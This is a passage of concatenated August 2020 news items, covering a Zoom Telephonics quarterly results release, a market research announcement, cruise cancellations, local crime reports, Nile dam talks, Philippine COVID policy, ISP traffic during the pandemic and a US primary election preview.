643-5255 Please dial-in five minutes prior to the start time of the call and provide the operator with the conference ID of 1919679. A slide presentation will accompany managements remarks and will be accessible five minutes prior to the start of the call via the following link: www.zoom.net/SQ220. A recording of the call will also be made available afterwards through the investor information section of the Companys website About Zoom Telephonics Zoom Telephonics, Inc. (Zoom) (OTCQB: ZMTP) is the creator of innovative Internet access products that dependably connect people to the information they need and the people they love. Founded in 1977 in Boston, MA, the company now delivers cable modems, routers, and other communications products under the globally recognized Motorola brand. For more information about Zoom and its products, please visit www.zoom.net and www.motorolanetwork.com. MOTOROLA and the Stylized M Logo are trademarks or registered trademarks of Motorola Trademark Holdings, LLC and are used under license. Forward Looking Statements This release contains forward-looking information relating to Zooms plans, expectations, and intentions. Actual results may be materially different from expectations as a result of known and unknown risks, including: the potential increase in tariffs on the Company's imports; potential difficulties and supply interruptions from moving the manufacturing of most of the Companys products to Vietnam; potential changes in NAFTA; the potential need for additional funding which Zoom may be unable to obtain; declining demand for certain of Zooms products; delays, unanticipated costs, interruptions or other uncertainties associated with Zooms production and shipping; Zooms reliance on several key outsourcing partners; uncertainty of key customers plans and orders; risks relating to product certifications; Zooms dependence on key employees; uncertainty of new product development, including certification and overall project delays, budget overruns, and the risk that newly introduced products may contain undetected errors or defects or otherwise not perform as anticipated; costs and senior management distractions due to patent related matters; and other risks set forth in Zooms filings with the Securities and Exchange Commission. Zoom cautions readers not to place undue reliance upon any such forward-looking statements, which speak only as of the date made. Zoom expressly disclaims any obligation or undertaking to release publicly any updates or revisions to any such statements to reflect any change in Zooms expectations or any change in events, conditions or circumstance on which any such statement is based. Investor Relations Contact: Jacquelyn Barry Hamilton, CFO Zoom Telephonics, Inc. Phone: 617-753-0040 Email: jhamilton@zoom.net ZOOM TELEPHONICS, INC. CONDENSED CONSOLIDATED STATEMENTS OF OPERATIONS (Unaudited) For the Three Months and Six Months Ended June 30, 2020 and 2019 (in thousands, except per share data) Three Months Ended Six Months Ended 6/30/20 6/30/19 6/30/20 6/30/19 Net sales $ 10,273 $ 8,159 $ 22,228 $ 16,169 Cost of goods sold 8,149 5,391 17,009 10,983 Gross profit 2,124 2,768 5,219 5,186 Operating expenses: Selling 2,284 2,554 4,638 5,001 General and administrative 716 556 1,544 1,124 Research and development 644 438 1,297 920 Total operating expenses 3,644 3,548 7,479 7,045 Operating loss (1,520 ) (780 ) (2,260 ) (1,859 ) Other expense, net (1) (12 ) (7 ) (46 ) Loss before income taxes (1,521) (792 ) (2,267 ) (1,905 ) Income tax benefit 7 13 13 21 Net loss $ (1,528) $ (805 ) $ (2,280 ) $ (1,926 ) Loss per share: Basic & Diluted loss per share $ (0.07 ) $ (0.04 ) $ (0.10 ) $ (0.11 ) Weighted average number of shares outstanding: Basic & Diluted 22,275 19,067 21,776 17,623 ZOOM TELEPHONICS, INC. CONDENSED CONSOLIDATED BALANCE SHEETS (Unaudited) (in thousands, except share data) 3/30/20 12/31/19 ASSETS Current assets: Cash and cash equivalents $ 7,552 $ 1,217 Restricted Cash 800 150 Accounts receivable, net 5,001 4,071 Inventories, net 4,622 7,440 Prepaid expenses and other 225 270 Total current assets 18,200 13,148 Property and equipment, net 308 303 Operating lease right-of-use assets 144 103 Other assets 628 349 Total assets $19,280 $ 13,903 LIABILITIES AND STOCKHOLDERS EQUITY Current liabilities: Current maturities of long-term debt $ 257 $ Accounts payable 7,088 5,025 Current maturities of operating lease liabilities 97 103 Accrued other expenses 3,865 2,666 Total current liabilities 11,307 7,794 Long-term debt, less current maturities 326 Operating lease liabilities, less current maturities 48 Total liabilities 11,681 7,794 Stockholders equity: Common stock and additional paid-in capital 50,476 46,706 Retained earnings (accumulated deficit) (42,877 ) (40,597) Total stockholders equity 7,599 6,109 Total liabilities and stockholders equity $ 19,280 $ 13,903 Circuit Breakers & Fuses Market Research Report by Type (Circuit Breakers and Fuses), by Industry (Machinery, Process Industry, Rail, and Vehicle Production) - Global Forecast to 2025 - Cumulative Impact of COVID-19 New York, Aug. 10, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Circuit Breakers & Fuses Market Research Report by Type, by Industry - Global Forecast to 2025 - Cumulative Impact of COVID-19" - https://www.reportlinker.com/p05913831/?utm_source=GNW The Global Circuit Breakers & Fuses Market is expected to grow from USD 14,326.80 Million in 2019 to USD 18,276.17 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 4.14%. Market Segmentation & Coverage: This research report categorizes the Circuit Breakers & Fuses to forecast the revenues and analyze the trends in each of the following sub-markets: Based on Type, the Circuit Breakers & Fuses Market studied across Circuit Breakers and Fuses. The Circuit Breakers further studied across AC Circuit Breakers and DC Circuit Breakers. The Fuses further studied across AC Fuses and DC Fuses. Based on Industry, the Circuit Breakers & Fuses Market studied across Machinery, Process Industry, Rail, and Vehicle Production. The Machinery further studied across Conveyor, locomotive, and intralogistics, Machine Tools, Packaging & Food, Plastic & Rubber Processing, Printing & Paper Processing, Robotics, Special Machines, and Textile. The Process Industry further studied across Chemical, Food & Beverage, Medical & Pharmaceutical, and Oil & Gas. The Rail further studied across Infrastructure & Signalling Technology, Rolling Stock, and Track-laying & Construction Machines. The Vehicle Production further studied across Plant Engineering and Powertrain. Based on Geography, the Circuit Breakers & Fuses Market studied across Americas, Asia-Pacific, and Europe, Middle East & Africa. The Americas region surveyed across Argentina, Brazil, Canada, Mexico, and United States. The Asia-Pacific region surveyed across Australia, China, India, Indonesia, Japan, Malaysia, Philippines, South Korea, and Thailand. The Europe, Middle East & Africa region surveyed across France, Germany, Italy, Netherlands, Qatar, Russia, Saudi Arabia, South Africa, Spain, United Arab Emirates, and United Kingdom. Company Usability Profiles: The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Circuit Breakers & Fuses Market including ABB Ltd, Analog Devices, Inc., Bel Fuse Inc., Carling Technologies, E-T-A Elektrotechnische Apparate GmbH, Eaton Corporation plc, General Electric Company, Honeywell International Inc., Itron, Inc., Larsen & Toubro Limited, Legrand SA, Littelfuse, Inc., MERSEN Canada Dn Ltd., Mitsubishi Electric Corporation, NR Electric Co., Ltd., Phoenix Contact GmbH & Co. KG, PKC Group Ltd, Schneider Electric, Schurter Holding AG, Siemens Corporation, and STMicroelectronics N.V.. FPNV Positioning Matrix: The FPNV Positioning Matrix evaluates and categorizes the vendors in the Circuit Breakers & Fuses Market on the basis of Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) that aids businesses in better decision making and understanding the competitive landscape. Competitive Strategic Window: The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisition strategies, geography expansion, research & development, and new product introduction strategies to execute further business expansion and growth. Cumulative Impact of COVID-19: COVID-19 is an incomparable global public health emergency that has affected almost every industry, so for and, the long-term effects projected to impact the industry growth during the forecast period. Our ongoing research amplifies our research framework to ensure the inclusion of underlaying COVID-19 issues and potential paths forward. The report is delivering insights on COVID-19 considering the changes in consumer behavior and demand, purchasing patterns, re-routing of the supply chain, dynamics of current market forces, and the significant interventions of governments. The updated study provides insights, analysis, estimations, and forecast, considering the COVID-19 impact on the market. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on the market offered by the key players 2. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets 3. Market Diversification: Provides detailed information about new product launches, untapped geographies, recent developments, and investments 4. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players 5. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments The report answers questions such as: 1. What is the market size and forecast of the Global Circuit Breakers & Fuses Market? 2. What are the inhibiting factors and impact of COVID-19 shaping the Global Circuit Breakers & Fuses Market during the forecast period? 3. Which are the products/segments/applications/areas to invest in over the forecast period in the Global Circuit Breakers & Fuses Market? 4. What is the competitive strategic window for opportunities in the Global Circuit Breakers & Fuses Market? 5. What are the technology trends and regulatory frameworks in the Global Circuit Breakers & Fuses Market? 6. What are the modes and strategic moves considered suitable for entering the Global Circuit Breakers & Fuses Market? Read the full report: https://www.reportlinker.com/p05913831/?utm_source=GNW About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Story continues CONTACT: Clare: clare@reportlinker.com US: (339)-368-6001 Intl: +1 339-368-6001 (Alliance News) - Carnival PLC said Tuesday part of its suspended Holland America Line operations will see its pause extended to December 15. The pause extension affects Caribbean, Mexico, Panama Canal, Pacific Coastal, South America, Antarctica, Hawaii, South Pacific, Australia and Asia itineraries, Carnival said. The FTSE 250-listed cruise line operator said guests on these cruises will receive a bonus future cruise credit. Carnival has previously cancelled Holland America Line global cruise operations in Alaska, Europe and Canada-New England for 2020. Shares in Carnival closed 6.4% higher in London on Tuesday at 1,031.00 pence each. Earlier Tuesday, Carnival said its subsidiary Seabourn will cancel upcoming voyages for three cruise ships in its fleet as a part of its pause in global ship operations. The announcement applies to Seabourn Encore, Seabourn Ovation, and Seabourn Sojourn with operations pause effective through November 25, December 20 and May 24, 2021, respectively. The brand had previously announced a pause in its global ship operations from March 14 to November 20, effectively cancelling all voyages scheduled to operate during that timeframe. The decision to cancel additional voyages is an action to deal with the circumstances continuing to evolve from the global response to the Covid-19 situation, Carnival explained. "We've been saying for some time that our resumption of service will come gradually, and this action reflects that discussion. The health, safety and well-being of our guests, crew and the people in destinations we visit remain a top priority," said Josh Leibowitz, president of Seabourn. "Like many who watch the travel industry, we are encouraged by the signs emerging around the world that point to travel's progress toward return. When our expert science and medical advisors and our destinations support the ability to resume travel on Seabourn, we'll be ready," added Leibowitz. In addition, Carnival said its other subsidiary P&O Cruises has extended its pause in operations until November 12 and also cancelled two long itineraries due to depart in January 2021. "As well as cancelling all cruises up until November 12, we will, sadly, also be cancelling Aurora's Caribbean and South America Adventure and Arcadia's World Cruise. Given long-term planning, combined with the complexity and length of these long-haul itineraries and evolving border restrictions, we need to ensure that we adhere to the guidance as it stands," said P&O Cruises President Paul Ludlow. More positively, Costa Cruises, also a part of Carnival, is planning to restart its operations from Italian ports gradually on September 6. The move follows the approval on Monday by the Italian government of the resumption of cruises and the new health protocol. The return to cruising will be progressive, involving an increasing number of ships, Carnival noted. The first ship to set sail will be Costa Deliziosa, on September 6, offering weekly cruises from Trieste to discover the most beautiful destinations in Greece. By Evelina Grecenko; evelinagrecenko@alliancenews.com and Paul McGowan; paulmcgowan@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. PIGGS PEAK Thugs had a field day at former Ntfonjeni Inkhundla Member of Parliaments (MP) complex along the Piggs Peak-Matsamo Highway. The thugs are believed to have walked away with at least E45 000 in cash after five shops were robbed. Former MP Henry Dlamini was left shocked at the damages on his property, where doors were vandalised, among other things. It is alleged the thugs stole cash, sweets, cellphones as well as alcohol valued at over E2 000 as they moved from one shop to another. They also stole flash drives from an electronics shop. The thugs, believed to have been six in total, arrived at about midnight and found a security guard but he was no match for them as they were armed with a pistol. The thugs allegedly hit the security guard with the pistol and proceeded to tie his hands and legs using a wire. They broke into one of the bottle stores situated within the complex and stole alcohol. It is suspected that some of the alcoholic beverages were consumed within the complex as empty containers were found. Ransacked They further ransacked a butchery but nothing was taken there, hence the strong suspicions that they were looking for cash. The thugs also stole from Save Rite Supermarket, where they damaged an alarm system as well as the stores unit for video recording on Closed Circuit Television (CCTV). The thugs are said to have stolen cash from the supermarket and removed the safe from the wall then left with it. The safe box was recovered in a nearby bush by children and was handed over to the police. The former MP, when reached for comment, simply confirmed the robbery, but declined to comment further. He referred questions to the police. Meanwhile, some of the business owners in the area blamed the robbery on the dagga raids being conducted by the police. Ironically, when the police arrived at the crime scene, they alighted from a vehicle which was taking other officers to destroy dagga at a place known as Mgobodzi. The area is not far from the shopping complex. Just last week, police officers had been raiding dagga fields around Nyonyane, Maguga, Mayiwane and Maphalaleni. The business owners said many people in the area survived mainly through cultivating dagga and that some were employed in the dagga fields. They alleged that the people behind some of the robberies were most likely those who worked in dagga fields and were now without employment. Aroused Their suspicions were further aroused by that the thugs also stole a popular organic fertiliser branded SeeGrow. The fertiliser was stolen from a hardware store situated within the shopping complex. Chief Police Information and Communications Officer Superintendent Phindile Vilakati confirmed the robbery. She said police were still investigating the matter. She could not confirm the amount stolen from the shops in total, but said at least five businesses had been affected. No arrests had been made at the time of compiling this report. WESTPORT An 18-year-old New Haven man was charged and three juveniles turned over to their parents in connection with the alleged theft of a motor vehicle, police said. On Aug. 11, police received a complaint of motor vehicle burglaries from a residence on Richmondville Avenue. The complainant reported he initially heard a vehicle speeding away from his home. He reported multiple unlocked vehicles in his driveway had been entered. According to police, a responding officer observed three vehicles traveling together a short distance from the reported incident. Upon seeing the police cruiser, the vehicles fled the area at a high speed, police said. Officers did not engage in a pursuit. A short time after, two of the vehicles were seen again on Weston road, police said. An officer was able to deploy a stop stick tire deflation device that struck both vehicles as they passed his location. The two vehicles entered the Merritt Parkway at slow speeds with officers in pursuit. Through computer checks, police discovered the vehicles were reported stolen. According to police, one vehicle was a Cadillac Escalade stolen out of Trumbull and the other a Honda CR-V stolen from Shelton. The Cadillac continued northbound on the Merritt while the Honda got off in Fairfield with an officer following. After the Hondas tires went flat, the four occupants were detained, police said. The driver, Tyjon Preston, was in the company of three juveniles; all were from New Haven. An ignition key to a GMC Acadia was found inside the Honda, police said. The GMC was later found in Weston unoccupied. State police later recovered the Cadillac Escalade on Interestate 95 unoccupied. Preston was charged with first degree larceny. He posted $600 bond and is scheduled to appear in state Superior Court in Norwalk on Sept. 30. The three juveniles were not immediately charged and released to their parents. dj.simmons@hearstmediact.com Egypt rejected an Ethiopian proposal that lacked guidelines on the operation of the dam, any elements indicating a binding deal, or a legal mechanism to settle disputes Renewed talks between Egypt, Sudan and Ethiopia over a giant hydroelectric dam Addis Ababa is building on the Blue Nile will be postponed for one week following a request by Sudan, the three countries said in separate statements on Monday. Negotiations to reach a deal over the filling and operation of the nearly $5 billion Grand Ethiopian Renaissance Dam (GERD) resumed one week following Cairo's call for a suspension of meetings after Addis Ababa put forward a new draft proposal that lacked operating guidelines" or any legally binding obligations. "It has been agreed to postpone the meeting for a week for consultations to take place between the ministers to determine the agenda and the level of participation in the next meeting," Egypt's irrigation ministry said in a statement. This came after a meeting between officials from three countries was convened earlier on Monday. During the meeting, the "Sudanese delegation requested talks be put off for a week to continue internal consultations," Sudan's water ministry said in a statement. The three countries are scheduled to reconvene on 17 August, Ethiopia's Water, Irrigation and Energy Ministry, adding that Addis Ababa "remains committed to the tripartite negotiations as a negotiated agreement is the only option." Last week, Egypt said the Ethiopian draft on filling guidelines lacked rules on the operation of the dam, any elements indicating a binding deal, or a legal mechanism to settle disputes. Sudan threatened to withdraw from the talks, sponsored by the African Union, if Ethiopia insisted on linking an agreement on the dams filling to negotiating a deal on sharing the waters of the Blue Nile. Addis Ababa announced last month it had achieved its first-year target for the filling of the dams reservoir due to the rainfall season. The move was condemned by Cairo and Khartoum -- both have sought a legally binding agreement before the dam was filled. Last week, Egypt sent a letter to South Africa, which currently chairs the AU, reaffirming Cairos rejection of Ethiopias unilateral initial filling of the GERD and the new Ethiopian draft proposal. In its letter, Cairo said the Ethiopian proposal violates directives by the AU in July calling on the three countries to swiftly finalise a legally binding agreement. However, Addis Ababa said on Monday the proposal is in line with the communique of the AU assembly Bureau dated 24 July and the understanding reached by the three nations' irrigation ministers during their meeting on 3 August. South Africa last week called on the three countries to "remain engaged" in the negotiations which it said were at a "critical phase". The mega-dam, built 15 kilometres from the Ethiopian border with Sudan, has been a source of tension between the three nations. Cairo fears the project will significantly cut its water supply from the River Nile, while Sudan fears it will endanger the safety of its own dams. Ethiopia says the massive project, which it hopes will make it Africas largest power exporter, is key to its development efforts. Search Keywords: Short link: Spain have announced they will travel to Portugal for a friendly on 7 October. The fixture between the neighbouring countries will be staged in Lisbon ahead of both featuring in Nations League games during the October international window. October's Nations League fixtures Luis Enrique's squad are scheduled to host Switzerland on Saturday 10 October before travelling to Ukraine three days later - Germany are the other team in Group 4. Defending champions Portugal, meanwhile, are away to France on Sunday 11 October, followed by a home game against Sweden. Spain are also set for friendly duty against the Netherlands in November, with that meeting originally set to take place in March before the coronavirus pandemic caused major changes to the schedule. Euro 2020 was pushed back a year due to the Covid-19 crisis, with the tournament now set for June and July in 2021. Metro Manila (CNN Philippines, August 11) President Rodrigo Duterte admitted during his speech on Monday the government is out of money as he too heeds the call of doctors to implement longer lockdown measures to effectively curb the spread of COVID-19 in the country. The President lamented the depletion of government funds alloted for those direly affected by the COVID-19 pandemic in the country. He said that working members of the family go out of their homes to work and provide for their needs despite the health risks posed by the coronavirus. "Alam mo, sa mga doktor, sabihin ko sa inyo. Hindi ko na sila (public) mapigilan, dahil po wala na akong pera na ibigay sa kanila. Kaya kailangan sila lumabas para magtrabaho. I-lockdown ko, ubos na 'yung pera na ibinigay ng Congress na bigyan kayo ng ayuda. 'Yung pera panggastos, wala na ako niyan," the President said. [Translation: To the doctors, I will tell you this. I cannot stop the public because I dont have any money to give them. Thats why they need to go out of their house to work. If I will place again on lockdown, the funds given by Congress for assistance have been depleted. I dont have money to spend anymore.] The DSWD has released a total of P66 billion to poor families severely affected by the pandemic as part of the ongoing social amelioration program. Duterte added he is supporting the medical communitys call for longer lockdown period in the country because he wants to prevent further contamination of individuals of COVID-19. "So I'm telling the doctors, as much as I want to give in to your demands, especially in the matter of lockdown I want it because I don't want the contamination to continue...it's a continuing thing," the President stressed. The Philippine College of Physicians said last week they are not contented with the imposition of the modified enhanced community quarantine (MECQ) in Metro Manila and the provinces of Bulacan, Cavite, Laguna, and Rizal effective August 4. "We understand that imposing ECQ is a complex decision... health may just be one dimension especially for the economic expert, but remember that we need healthy people to reinvigorate our economy," said Dr. Maricar Limpin, the group's vice president. Experts from the academe said the two-week MECQ until August 18 is not enough to significantly lower the COVID-19 infections in the country. While the governments economic advisers warned of serious effects to the economy if the nations capital will remain under MECQ beyond the said date. Last August 2, Duterte responded to the appeal of medical frontliners for a timeout due to the overwhelming state of the countrys health system amid rising COVID-19 infections.He ordered the return of Metro Manila and the four provinces back to stricter MECQ due to the surge of COVID-19 cases in these areas during the past weeks. The country tallied on Monday around 6,958 new COVID-19 infections, a record-high in the number of cases recorded in a single day. This hikes the total count to 136,638, along with 66,186 active cases. Sixty percent or 4,163 of the new patients are from Metro Manila, according to the case report. The DOH added that Laguna registered 400, Rizal 363, Cavite 312, and Bulacan 178. Some 2,293 persons died and 68,159 patients recovered from the virus. (TNS) Usually Internet and cable companies are all hands on deck before major events - think Super Bowl. This May, the high school Advanced Placement tests, administered remotely in the midst of a pandemic, became the Super Bowl.Because kids were now taking their AP tests online versus in person, our network team paid very special attention to that AP testing window, said Josephine Posti, senior public relations manager for Comcast. Those major events, they have changed during this time.The companys engineers used web-based tools and artificial intelligence to help them track any issues that were in the network. They could even identify kinks in a cable, and in many cases, correct something without any shut downs, Ms. Posti said.Comcast and its counterparts in the industry faced a surge of Internet traffic in March and April, as other parts of the economy largely shut down. Employees began meeting on video conferencing platforms instead of at the office. Students and teachers moved to online as well. And while essential workers continued to report to their workplaces, nobody could go to a bar, movie or dinner afterward to unwind. What else to do? Netflix and chill.While some in the U.S. may have experienced outages, Western Pennsylvanias infrastructure did not fail its users, companies say.Clearly there was a dramatic surge especially those first few weeks, said David Wittmann, vice president of cable marketing for Armstrong, an Internet service provider in the Pittsburgh region.Upstream traffic, meaning an output of data including video conferencing, increased during the day; downstream traffic, meaning streaming or downloading content, increased in the evening.We were able to manage that, as most of the industry was, because we planned for significant overages, Mr. Wittmann said. I can tell you that our engineers worked tirelessly that first month augmenting our network where we saw areas of congestion. They probably did as many augments in that month as they would in a year.For those who wanted new service or upgrades, companies utilized two-way application for remote installation so that crews and customers could see what the other was doing during self-installation.There's still a significant amount of folks who really don't want anyone in their home, understandably, Mr. Wittmann said.The company hired more crew to handle any advanced installations that required in-home appointments, he added, and cleared a waiting list by the end of June.Average data usage pre-pandemic for Armstrong customers was roughly 350 gigabytes per month. That increased by about 100GB per month once shelter-in-place orders began, according to the company.Comcast saw in an increase in upstream traffic by 32% and downstream traffic by 11% from early March to late May, Ms. Posti said.Verizons network weathered the pandemic surge, maintaining pre-COVID reliability levels even in the midst dramatic usage spikes and shifts in demand, according to its report that monitored the network from March 1 to May 31.Verizon boasts of a network engineered to perform during moments of crisis such as hurricanes, snow storms and flooding, according to the companys July 9 press release.But did Internet service providers have a pandemic contingency plan on the shelf?I can't tell you we planned for a pandemic, that would not be accurate, but we do plan for 18 to 24 months in the future for sure, Mr. Wittmann said, highlighting that a $200 million project to install new infrastructure in the areas of Cranberry, Wexford and Pine, hasnt stopped.We keep very close tabs on how much data usage is growing. In general its growing at a 40 percent compound annual growth rate, and that's before the pandemic. That's a staggering number. ... That's is only going to continue. With that in mind we had that in our plan, and we had enough head room in our network capacity to handle that, that's why we were able to handle the surge without having an issue handling the problem.A report by the San Francisco-based Internet monitoring company ThousandEyes largely bolsters that claim, finding that while broadband interruptions spiked in some regions of North America post-pandemic, the outages likely occurred during non-business hours. Overall, the state of Internet infrastructure is healthy, the report found.But some challenges were observed by the Washington-based Center for Democracy, namely redistribution issues because of the massive shift from using network connections in office buildings to using them at home.I think a lot of us found out exactly how many video conferences our home connections could support at one time, which for many was only one, Stan Adams, the organizations deputy general counsel and open Internet counsel, said in a written response to questions. While it can be difficult to determine whether a bandwidth limitation stems from the ISPs [Internet service provider] network, your own local network (WiFi), or the other end of your connection, I think we saw pretty clearly that many ISP networks are not capable of providing the marketed speeds and throughput to every subscriber simultaneously.No major outages were reported to the organization, but thats not the first thing on Mr. Adams mind.For me, it's tough to talk about ISPs meeting the needs of the communities they serve without talking about all those folks who remain unconnected, either because they cannot afford a connection or there are none available where they live. So while it's important that existing customers receive the service they pay for, whether the performance of their connection lives up to expectations comes second to whether someone has access to the Internet at all, he said.When the pandemic hit, 785 major industry players and smaller companies took a Federal Communications Commission pledge to Keep Americans Connected, by vowing not to turn off service and to expand low-income offerings through June 30, according to the FCC.FCC chairman Ajit Pai on June 19 urged the service providers not to disconnect those in need and urged Congress to ensure that doctors and patients, students and teachers, low-income families and veterans, those who have lost their jobs and livelihoods due to the pandemic and the accompanying lockdowns ... remain connected until this emergency ends.Comcast will continue to offer extended payment options, and through the end of 2020 new customers can sign up to receive 60 days of complimentary low-income Internet Essentials service. The company has also made Xfinity WiFi hotspots available to anyone who needs them for free, Ms. Posti said.Armstrong has decided to permanently increase the download speed to 25 megabytes per second, from 12Mbps, and its upload, to 3Mbps from 1Mbps, for its low-income Internet package, Mr. Wittmann said.Verizon will continue to offer a $20-per-month discount on its low-income Lifeline Internet service for as long as they remain eligible, according to the companys website. New registrants will be accepted until the end of 2020. Alexandria Ocasio-Cortez survived her primary. Rashida Tlaib did, too. Now its Ilhan Omars turn on Tuesday and the Minnesota congresswoman faces the stiffest challenge of any member of the Squad. Omar (D-Minn.), one of the groups four liberal women of color who were first elected in 2018, has drawn national attention with her repeated clashes with President Donald Trump as well as accusations of using anti-Semitic tropes in articulating her position on Israel. Now, her opponent is trying to turn that notoriety into a liability, saying its come at the expense of the needs of her Minneapolis district. Bankrolled by pro-Israel donors, Antone Melton-Meaux has spent more than twice as much as Omar on television ads, and outside groups have kicked in to increase his advantage. Thats not the only interesting race on Tuesday night. House Republicans have a high-stakes primary runoff of their own in northwest Georgia, where they are on the verge of adding perhaps their most controversial member yet. GOP leaders raced to disavow Marjorie Taylor Greene in June after POLITICO uncovered videos in which she made racist, Islamophobic and anti-Semitic comments. But theyve done little to block her from coming to Congress over the past two months, and her matchup Tuesday against neurosurgeon John Cowan is a toss-up. In total, five states Connecticut, Minnesota, Vermont, Wisconsin and Georgia will hold nominating contests on Tuesday. Both parties will pick battleground nominees in a handful of seats, and Republicans will choose three likely new members of Congress. Heres POLITICOs guide to what to watch: Will Democrats lose a member of the Squad? Melton-Meaux, a Black mediation lawyer, is trying to turn Omars celebrity into a negative by casting himself to voters as someone who will eschew the spotlight and controversy and deliver for the district. He raised a whopping $3.2 million in one quarter and nabbed an endorsement from the Minneapolis Star-Tribune, which in an editorial said his thoughtful approach holds out the promise of building common ground. (The newspaper hit Omar for missing votes in Congress which Omar campaign spokesman Jeremy Slevin disputed as a "dated and cherry-picked statistic" and funneling campaign funds toward her now-husbands political consulting firm.) Story continues Antone Melton-Meaux is challenging Rep. Ilhan Omar in her Minneapolis-based district. Omar is being vastly outspent on the air, a dynamic that is usually concerning for an incumbent. Melton-Meaux has spent nearly $2.1 million on TV ads, compared with Omars $875,000, according to data compiled by the media tracking firm Advertising Analytics. Omar has invested some $400,000 on digital ads but Melton-Meaux has $1.5 million in outside help. A high-spending super PAC, Americans for Tomorrows Future, has also waded into the race, spending close to $2.5 million on mailers and TV ads criticizing Omar and boosting Melton-Meaux. The group had previously contributed to DMFI PAC a pro-Israel super PAC that unsuccessfully tried to save Rep. Eliot Engel (D-N.Y.) in his primary with Jamaal Bowman and uses Anedot to process payments, a firm popular with Republicans until it was recently usurped by WinRed. Another group has sent mailers urging voters who typically vote Republican to participate in the Democratic primary and cast ballots for Melton-Meaux. Voters in Minnesota do not register with a political party. Omar drew the ire of pro-Israel leaders this year when she made comments that many of them have deemed anti-Semitic. She tweeted once that Israel had hypnotized the world and said U.S. lawmakers supportive of Israel had a dual allegiance to that country and their own. Progressive groups, who spent big to help Tlaib in her primary last week, have not done much to back up Omar. The congresswomans internal polling from early July showed her with a big lead but some operatives in the party fear this primary will be much closer than Tlaibs. Will House Republicans elect their most controversial member yet? Greene, a QAnon conspiracy theorist and businesswoman, finished 19 points ahead of a crowded June primary field for the safe red seat vacated by retiring Rep. Tom Graves (R-Ga.). But after videos surfaced of Greene calling Black people slaves to the Democratic Party, suggesting Muslims cannot serve in government and calling Jewish Democratic megadonor George Soros a Nazi Republicans in Washington and Georgia took greater interest in John Cowan, who earned the second spot in Tuesday's runoff. Recent polling shows a tight contest and some rank-and-file lawmakers are angry that no major outside effort has formed to stop her. A victory by Greene would cause months, if not years, of headaches for the House GOP conference, which only two months ago finally excised Rep. Steve King (R-Iowa), a member who has long harbored an openness toward white nationalism. Several members of Congress, including House Minority Whip Steve Scalise (R-La.), have rallied behind Cowan, fundraising for him and joining him for Zoom events. But after describing Greenes comments as appalling in June, House Minority Leader Kevin McCarthy now is calling himself neutral a position that may have dissuaded outside groups from wading in to spend on Cowans behalf. President Donald Trump also hasn't taken sides in the race. Cowan has suggested that her victory would embarrass the Republican Party and drag down other GOP candidates in Georgia. (She is not conservative shes crazy, he said in a recent interview.) Greene has not backtracked on any of the statements she made in her videos. In a recent interview, she continued to espouse a conspiracy theory that Soros, a Holocaust survivor, turned Jews in to the Nazis. Another runoff in a neighboring Georgia district, held by GOP Rep. Doug Collins, has seen a surfeit of outside spending. State Rep. Matt Gurtler and veteran Andrew Clyde are vying for the safe, red seat. The Club for Growth has spent heavily for Gurtler, who has faced criticism during the campaign for posing for a photo with a white supremacist. The GOP will also choose a likely new member of Congress in a deep-red open Wisconsin seat. The frontrunner there is state Senate Majority Leader Scott Fitzgerald, who has been a leading figure in Republicans' political and policy skirmishes in Madison. Collin Peterson gets a challenger House Agriculture Chair Collin Peterson (D-Minn.) has been Republicans white whale for the better part of a decade. Representing a conservative district in western Minnesota, Peterson is in his 15th term, having survived a number of close calls including in 2016, when he managed to win reelection despite Trump carrying his district by 31 points. Republicans believe Peterson's luck will run out this fall against the frontrunner in Tuesday's primary: Michelle Fischbach, a former state Senate president who briefly served as lieutenant governor. GOP congressional candidate Michelle Fischbach is running for the Minnesota seat held by Democratic Rep. Collin Peterson. They have reason for optimism: Fischbach has outraised Peterson for three consecutive quarters. But more than that, they like the environment. Despite Trump's national struggles, he remains popular in the district, and Republicans are banking on that political gravity to drag down Peterson. Peterson voted against bringing articles of impeachment against Trump. Joe Bidens nomination is probably good news for Peterson, but he will still face considerable headwinds. His once-large victory margins have shrunk down to just 4 points in 2018, even against an underfunded competitor. Fischbach will have to beat four other Republicans, including 2018 nominee Dave Hughes and gastroenterologist Noel Collis, in Tuesdays primary. Republicans hope Fischbach is the nominee, but they also think Trump is so popular in western Minnesota that he could carry just about anyone over the finish line. Both parties finalize Minnesota, Wisconsin battleground matchups Tuesdays primaries will cement November matchups for a few House races on the outer edges of the map. In southern Minnesota, Dan Feehan faces no primary competition and is headed for a rematch with GOP Rep. Jim Hagedorn. This rural district is Trump country, but Feehan has collected nearly twice as much cash-on-hand than the incumbent and came within a point of beating him in 2018. In a suburban Twin Cities district that Trump narrowly won, Marine veteran Tyler Kistner is the only Republican challenging Democratic Rep. Angie Craig. A late recruit, Kistner has proved a formidable fundraiser and Republicans think this race could come online. In a neighboring district, health care executive Kendall Qualls is favored in the GOP primary to take on Democratic Rep. Dean Phillips. Republicans held this seat before the 2018 midterms, but its trending rapidly away from them and is not considered a top 2020 pickup. In another reach district in rural southwestern Wisconsin, two Republicans are vying to take on Democratic Rep. Ron Kind: Jessi Ebben and Derrick Van Orden. This seat is one of 30 Democratic-held districts that Trump won in 2018, but Kind will be hard to dislodge. He won by 19 points in 2018 and has over $3 million in the bank; neither of the Republican candidates has more than $280,000. A popular Republican governor in a blue state gets a challenger Democrats in bright-blue Vermont will pick a candidate Tuesday to face Gov. Phil Scott, who is among the handful of popular Republican governors in solidly Democratic states. The top candidates in the four-person Democratic field are Lt. Gov. David Zuckerman and former state education secretary Rebecca Holcombe, while Scott is expected to easily clear a five-person GOP primary. Zuckerman looks the part of a Burlington progressive: Backed by Bernie Sanders, the state's junior senator, he isn't technically a Democrat, and he often wears 